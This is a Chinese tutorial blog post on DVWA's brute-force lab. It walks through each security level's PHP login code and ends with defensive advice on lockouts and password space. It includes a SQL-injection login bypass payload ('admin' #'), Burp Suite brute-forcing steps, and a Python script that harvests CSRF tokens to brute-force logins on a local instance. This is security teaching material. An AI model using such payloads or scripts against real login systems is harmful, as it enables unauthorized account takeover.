前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >DVWA笔记(二)----Brute Force

DVWA笔记(二)----Brute Force

作者头像
用户5878089
发布于 2019-07-25 07:59:07
发布于 2019-07-25 07:59:07
1.4K00
代码可运行
举报
运行总次数:0
代码可运行

“爆破?物理爆破才是王道!”

前言

相信大家看过之前的教程已经成功搭建起我们的渗透测试环境啦!那么,在这篇文章中一起开启web渗透测试的第一篇吧!爆破什么的最爽了!

Brute Force 介绍

Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一。通俗地讲,就是尝试每一种答案的可能,如以前轰动全国的12306“撞库”事件,实质就是暴力破解攻击。

暴力破解模型(开箱子模型)

for(密码=000;密码<=999;密码=密码+1)

{

输入密码;

按下开锁按钮;

if箱子关闭;

破解失败;

continue;

if箱子打开;

破解成功;

break;

}

上述代码通过一个循环,从000号密码开始尝试打开箱子,打开即停止,打不开便尝试下一个钥匙。 就这样,我们尝试了每一种可能性,总会有打开箱子的时候(当然只是时间问题)

具体操作

首先我们启动phpstudy,开启Apache和Mysql服务

访问自己的本地

url(127.0.0.1/DVWA-master/index.php

点击下方的 DVWA Security来切换难度

这里选择low

然后点击上方的 Brute Force,在下方就能看到当前的难度

答题界面就是这里了

我们可以在本地文件夹中看到题目源代码(到你自己的路径中去找)

low等级

源代码:

代码语言:javascript
代码运行次数:0
运行
复制
<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];
    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );
    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    if( $result && mysqli_num_rows( $result ) == 1 ) {
     // Get users details
     $row    = mysqli_fetch_assoc( $result );
     $avatar = $row["avatar"];
     // Login successful
     $html .= "<p>Welcome to the password protected area {$user}</p>";
     $html .= "<img src=\"{$avatar}\" />";
    }
    else {
     // Login failed
     $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

分析:

服务器只验证了参数Login是否被设置,没有任何的防爆破机制,且对参数username没有做任何过滤,然而对password做了MD5校验,杜绝了通过参数password进行sql注入,因此利用的思路如下:

1、直接进行爆破

2、对没做过滤的username做sql注入

使用工具爆破

使用Bursuite进行爆破

burpsuite

下载链接

https://pan.baidu.com/wap/init?surl=mUf6wAbrNquDYx8xdhp48A

密码:

s1ws

注册使用

https://blog.csdn.net/u014549283/article/details/81248886

burpsuite 使用方法

https://www.cnblogs.com/nieliangcai/p/6689915.html

抓包如下

爆破位置如下

加载字典

开始爆破

发现这一条的回显长度明显不一样

查看Respose发现爆破成功!

手工注入

由于源代码中,没有对username输入进行过滤,而且能看到sql查询语句

可以构造payload来进行注入,从而绕过密码验证部分

sql注入原理

https://www.cnblogs.com/cnhacker/p/6984665.html

payload:

admin' #

注入成功,没有输入密码,但却登录成功

medium 等级

代码语言:javascript
代码运行次数:0
运行
复制
<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );
    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    if( $result && mysqli_num_rows( $result ) == 1 ) {
     // Get users details
     $row    = mysqli_fetch_assoc( $result );
     $avatar = $row["avatar"];
     // Login successful
     $html .= "<p>Welcome to the password protected area {$user}</p>";
     $html .= "<img src=\"{$avatar}\" />";
    }
    else {
     // Login failed
     sleep( 2 );
     $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

分析:

相对比于low等级,为了防止SQL注入,把用户提交的登录用户名和密码数据进行转义过滤,增加了mysqli_real_escape_string函数,mysqli_real_escape_string函数的用法如下:

mysqli_real_escape_string(escapestring,connection);

第一个参数为需转义字符串,第二个参数为数据库连接。

对以下输入的字符串进行转义:

NUL (ASCII 0)

\n

\r

\

'

"

\0xaa

使用了mysqli_real_escape_string函数过滤输入,字符编码为UTF-8的环境下,抵御了sql注入攻击(GBK编码下该函数会存在宽字节注入漏洞)。对于登录验证的防护,只用了sleep(2),我们仍然可以采用暴力猜解的方式,利用方式同low等级。

因为使用了sleep(2)语句,导致我们爆破的时间大大增加,但仍旧可以爆破成功

high 等级

源代码:

代码语言:javascript
代码运行次数:0
运行
复制
<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // 用户名输入过滤
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // 密码输入过滤
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );
    // 带入数据库查询
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
        // 登录成功
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // 登录失败
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>

分析:

代码中对username和password都进行了过滤,防止了sql注入的发生,并且有checkToken()函数和generateSessionToken()函数,定位到dvwa程序的源码中:

代码语言:javascript
代码运行次数:0
运行
复制
// Token functions --
function checkToken( $user_token, $session_token, $returnURL ) {  # Validate the given (CSRF) token
    if( $user_token !== $session_token || !isset( $session_token ) ) {
        dvwaMessagePush( 'CSRF token is incorrect' );
        dvwaRedirect( $returnURL );
    }
}
function generateSessionToken() {  # Generate a brand new (CSRF) token
    if( isset( $_SESSION[ 'session_token' ] ) ) {
        destroySessionToken();
    }
    $_SESSION[ 'session_token' ] = md5( uniqid() );
}
function destroySessionToken() {  # Destroy any session with the name 'session_token'
    unset( $_SESSION[ 'session_token' ] );
}
function tokenField() {  # Return a field for the (CSRF) token
    return "<input type='hidden' name='user_token' value='{$_SESSION[ 'session_token' ]}' />";
}

可以发现,High级别的代码加入了产生token值和检查token值的功能,通过抓包,可以看到登录验证时提交了四个参数:username、password、Login以及user_token。

可以看出每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,先进行token的检查,再进行sql查询

抓包来验证一下,在Response中发现下一次请求的token

爆破方法

根据上述的分析过程,我们有了这样一个简单的爆破思路

代码语言:javascript
代码运行次数:0
运行
复制
for(用户名 in username.txt)
    for(密码 in password.txt)
    {
        访问首页;
        获取user_token;
        发送数据包;
        if 'Username and/or password incorrect.' in HTML;
            破解失败;
            continue;
        else
            破解成功;
            break;
    }

根据这个简单的模型,让我们来细化出一个爆破脚本

代码语言:javascript
代码运行次数:0
运行
复制
# -*- coding: utf-8-*- 
#Test By AHai
import requests
import re
IP = "127.0.0.1/DVWA-master/"
cookies = {
    'PHPSESSID':'dlc2unhh4ltlaeb0q0f05k1qm2',
    'security':'high'
}
for username in open("username.txt"):
    for password in open("password.txt"):
        #访问首页
        response = requests.get('http://'+IP+'/vulnerabilities/brute/',cookies=cookies)
        content = response.text
        #获取user_token
        user_token = re.findall(r"name='user_token' value='(.+?)'",content)[0]
        #发送登录数据包
        url = 'http://'+IP+'/vulnerabilities/brute/index.php?username='+username+'&password='+password+'&Login=Login&user_token='+user_token
        response = requests.get(url,cookies=cookies)
        content = response.text
        ###确认破解结果
        print ("-"*20)
        print (u"用户名:"+username)
        print (u"密码:"+password)
        if 'Username and/or password incorrect.' in content:
            print (u"破解失败!")
        else:
            print (u"破解成功!")
        print ("-"*20)

同样可以做到爆破出

用户名admin

密码password

imposible 等级

源代码:

代码语言:javascript
代码运行次数:0
运行
复制
<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );
    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;
    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();
    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
     // User locked out.  Note, using this method would allow for user enumeration!
     //$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
     // Calculate when the user would be allowed to login again
     $last_login = strtotime( $row[ 'last_login' ] );
     $timeout    = $last_login + ($lockout_time * 60);
     $timenow    = time();
     /*
     print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
     print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
     print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
     */
     // Check to see if enough time has passed, if it hasn't locked the account
     if( $timenow < $timeout ) {
      $account_locked = true;
      // print "The account is locked<br />";
     }
    }
    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();
    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
     // Get users details
     $avatar       = $row[ 'avatar' ];
     $failed_login = $row[ 'failed_login' ];
     $last_login   = $row[ 'last_login' ];
     // Login successful
     $html .= "<p>Welcome to the password protected area <em>{$user}</em></p>";
     $html .= "<img src=\"{$avatar}\" />";
     // Had the account been locked out since last login?
     if( $failed_login >= $total_failed_login ) {
      $html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
      $html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
     }
     // Reset bad login count
     $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
     $data->bindParam( ':user', $user, PDO::PARAM_STR );
     $data->execute();
    } else {
     // Login failed
     sleep( rand( 2, 4 ) );
     // Give the user some feedback
     $html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
     // Update bad login count
     $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
     $data->bindParam( ':user', $user, PDO::PARAM_STR );
     $data->execute();
    }
    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>

分析:

可以看到Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。

同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作(即规定死了查询格式,而不取决于用户的输入),而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令

后记

暴力破解(Brute Force)存在的根本原因在于

1、目标的密码空间是有限的

2、服务端允许用户不断进行尝试

因此,若要解决暴力破解问题,从原因上对症下药即可

1、尽量设计复杂算法,扩大密码空间

2、限制用户的尝试访问次数

当然了,我们同样可以加大其访问代价,使得其得到数据花费的代价远高于数据本身的价值

—— 阿海 记于 2018.10.03

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-10-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无级安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
【愚公系列】2023年08月 .NET CORE工具案例-Chat2DB多数据库客户端工具
多数据库客户端工具是一种软件应用程序,可以帮助数据库管理员和开发人员在多个数据库系统之间进行管理和操作。这些工具通常提供一个图形用户界面(GUI),可以轻松执行各种数据库任务,如创建、修改、删除和查询数据库对象(例如表、视图和存储过程等)、执行SQL查询、导出和导入数据等。此外,它们可以支持多种数据库系统,例如Oracle、MySQL、SQL Server、PostgreSQL和MongoDB等。这些工具还能够提供性能监控和优化功能,以最大化数据库系统的效率和可靠性。
愚公搬代码
2025/05/28
680
【愚公系列】2023年08月 .NET CORE工具案例-Chat2DB多数据库客户端工具
取代Navicat,一款集成了 AI 功能的数据库管理神器!
在数据驱动的时代,数据库管理工具的重要性不言而喻。然而,传统的数据库工具如Navicat、DBeaver等,虽然功能强大,但对非技术人员或SQL初学者来说,使用门槛较高。
SQL数据库开发
2025/03/21
2530
取代Navicat,一款集成了 AI 功能的数据库管理神器!
再见 Navicat !这个工具才是YYDS!
数据库管理工具,对于后端程序员使用的频率非常高。市面上的可视化工具大多数都是收费的。最近大叔在逛开源网站时候发现了一个特别好用的数据库管理工具Beekeeper Studio,界面非常炫酷,推荐给大家!
永恒君
2022/12/07
5440
再见 Navicat !这个工具才是YYDS!
​说人话,也能写SQL?阿里刚推出了Chat2DB!
不过,最近,阿里刚刚推出了一款集成了AI功能的免费的多数据库客户端工具——Chat2DB。可以彻底抛弃传统navicat和dbeaver了。
make a bug
2023/07/15
6.9K0
​说人话,也能写SQL?阿里刚推出了Chat2DB!
再见,Navicat 太炸了!
Chat2DB 是一款有开源免费的多数据库客户端工具,支持windows、mac本地安装,也支持服务器端部署,web网页访问。和传统的数据库客户端软件Navicat、DBeaver 相比Chat2DB集成了AIGC的能力,能够将自然语言转换为SQL,也可以将SQL转换为自然语言,可以给出研发人员SQL的优化建议,极大的提升人员的效率,是AI时代数据库研发人员的利器,未来即使不懂SQL的运营业务也可以使用快速查询业务数据、生成报表能力。
搜云库技术团队
2024/03/14
3100
再见,Navicat    太炸了!
NL2SQL技术方案系列(1):NL2API、NL2SQL技术路径选择;LLM选型与Prompt工程技巧,揭秘项目落地优化之道
NL2SQL基础系列(1):业界顶尖排行榜、权威测评数据集及LLM大模型(Spider vs BIRD)全面对比优劣分析[Text2SQL、Text2DSL]
汀丶人工智能
2024/04/19
2.5K0
NL2SQL技术方案系列(1):NL2API、NL2SQL技术路径选择;LLM选型与Prompt工程技巧,揭秘项目落地优化之道
赶快卸载 Navicat和DataGrip吧,阿里又开源了一款数据库神器,太炸了
Chat2DB 是一款有开源免费的多数据库客户端工具,支持windows、mac本地安装,也支持服务器端部署,web网页访问。和传统的数据库客户端软件Navicat、DBeaver 相比Chat2DB集成了AIGC的能力,能够将自然语言转换为SQL,也可以将SQL转换为自然语言,可以给出研发人员SQL的优化建议,极大的提升人员的效率,是AI时代数据库研发人员的利器,未来即使不懂SQL的运营业务也可以使用快速查询业务数据、生成报表能力。
Leetcode名企之路
2023/08/19
7140
赶快卸载 Navicat和DataGrip吧,阿里又开源了一款数据库神器,太炸了
NL2SQL进阶系列(3):Data-Copilot、Chat2DB、Vanna Text2SQL优化框架开源应用实践详解[Text2SQL]
NL2SQL基础系列(1):业界顶尖排行榜、权威测评数据集及LLM大模型(Spider vs BIRD)全面对比优劣分析[Text2SQL、Text2DSL]
汀丶人工智能
2024/04/16
3.2K0
NL2SQL进阶系列(3):Data-Copilot、Chat2DB、Vanna Text2SQL优化框架开源应用实践详解[Text2SQL]
再见Navicat!这个工具才是YYDS!
这几天大家应该看过一个新闻,关于数据库管理工具Navicat Premium被投毒的事件。
终码一生
2022/04/15
2K0
再见Navicat!这个工具才是YYDS!
【工具】竟比Navicat还好用,我咋这么不信呢
竟然在这么娱乐的平台看到IT技术博主的分享,里面就提要了这个国产免费数据库工具SQLynx
JavaDog程序狗
2024/09/23
9301
【工具】竟比Navicat还好用,我咋这么不信呢
干掉Navicat?阿里Chat2DB来了!
最近朋友圈被阿里的 Chat2DB 刷屏了,磊哥也是第一时间下载并体验了阿里巴巴的 Chat2DB,今天就迫不及待和大家分享一下。
磊哥
2023/07/09
1.2K0
干掉Navicat?阿里Chat2DB来了!
2024年,值得收藏!推荐一些好用的数据库管理工具合集!
DBeaver是一款免费开源的跨平台数据库管理工具,基于Java开发,支持目前几乎所有的主流数据库,包括MySQL、PostgreSQL、SQLite、Oracle、SQL Server、DB2、Sybase、Teradata、MongoDB等。它具有直观的用户界面,支持SQL编辑、数据查看、数据编辑、元数据管理、数据导出导入、连接管理等功能。
测试开发技术
2024/03/11
12.9K0
2024年,值得收藏!推荐一些好用的数据库管理工具合集!
图形化界面MySQL(MySQL)(超级详细)
图形化界面的 MySQL 工具,像是 phpMyAdmin、MySQL Workbench 和 DBeaver,可以大大简化数据库的管理和操作。它们提供了一个直观的界面,使得用户不必记住复杂的 SQL 命令,且可以通过点击来进行各种数据库操作,如创建表、执行查询、管理用户权限等。以下是一些图形化界面 MySQL 的优点和好处:
ljw695
2025/01/03
6600
图形化界面MySQL(MySQL)(超级详细)
再见收费的Navicat,操作所有数据库就靠它了!
作为一名开发者,免不了要和数据库打交道,于是我们就需要一款顺手的数据库管理工具。很长一段时间里,Navicat 都是我的首选,但最近更换了一台新电脑,之前的绿色安装包找不到了。
沉默王二
2022/03/07
1.9K0
再见收费的Navicat,操作所有数据库就靠它了!
一款AI智能多数据库客户端工具
Chat2DB是一款有开源免费的多数据库客户端工具,支持Windows、Mac本地安装,也支持服务器端部署,Web网页访问。和传统的数据库客户端软件Navicat、DBeaver相比Chat2DB集成了AIGC的能力,能够将自然语言转换为SQL,也可以将SQL转换为自然语言,可以给出研发人员 SQL 的优化建议,极大的提升人员的效率,是AI时代数据库研发人员的利器,未来即使不懂SQL的运营业务也可以使用快速查询业务数据、生成报表能力。
潇湘信安
2024/03/22
4960
一款AI智能多数据库客户端工具
再见,Navicat!同事安利的这个IDEA的兄弟,真香!
其实,这个标题的话肯定会引出一些杠精,为了不给杠精留机会,多做一点说明:「Navicat 和 DataGrip 都是非常优秀的数据管理工具,各有所长,这里就不做对比了!你喜欢什么样的风格用什么样的产品,就我个人而言更喜欢 DataGrip 一些。」 把杠精安排的明明白白!
cxuan
2020/07/30
4.5K0
再见,Navicat!同事安利的这个IDEA的兄弟,真香!
智能且多功能的 SQL 客户端和报表工具-Chat2DB
MySQL Workbench:MySQL Workbench是MySQL官方提供的图形化客户端工具,可用于管理和开发MySQL数据库。它提供了直观的界面和丰富的功能,包括数据库设计、查询编写、数据导入导出等。
huolong
2024/02/29
5420
智能且多功能的 SQL 客户端和报表工具-Chat2DB
再见 Navicat!
1、几乎支持所有数据库产品,包括:MySQL、SQL Server、PostgreSQL、MariaDB、SQLite、Oracle、Db2、Sybase、MS Access 等等。
永恒君
2023/09/02
1.1K0
再见 Navicat!
平替Navicat ?开源12年,这个最初仅2人的项目斩获42.5k star,如今年收入过亿
近日,DBeaver 更新了最新版 25.0 版本,更新内容主要聚焦在 Data Editor、SQL Editor、AI 助手、Diagrams 等方面。尤其值得注意的是,在 AI 助手方面,25.0 版本修复了在扩展中禁用 AI 时出现过多 AI 请求的问题。
深度学习与Python
2025/04/02
4080
平替Navicat ?开源12年,这个最初仅2人的项目斩获42.5k star,如今年收入过亿
必须掌握的Navicat for SQLite 所有功能
Navicat for SQLite是一套强大和全面的SQLite图形用户介面工具,提供完整的服务器管理功能。它配备了数据编辑、SQL查询和数据模型工具,并支持所有SQLite对象类型。   Navicat for SQLite主要功能包括数据传输、导入或导出、数据同步、报表、以及更多。凭借精心设计的用户界面,可以简便快捷地以安全且简单的方法创建、组织、访问和共享信息,优化SQLite工作流程,提高工作效率。 Navicat for SQLite 主要功能如下: Navicat Cloud   Navi
智能算法
2018/04/02
6.1K1
必须掌握的Navicat for SQLite 所有功能
推荐阅读
相关推荐
【愚公系列】2023年08月 .NET CORE工具案例-Chat2DB多数据库客户端工具
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验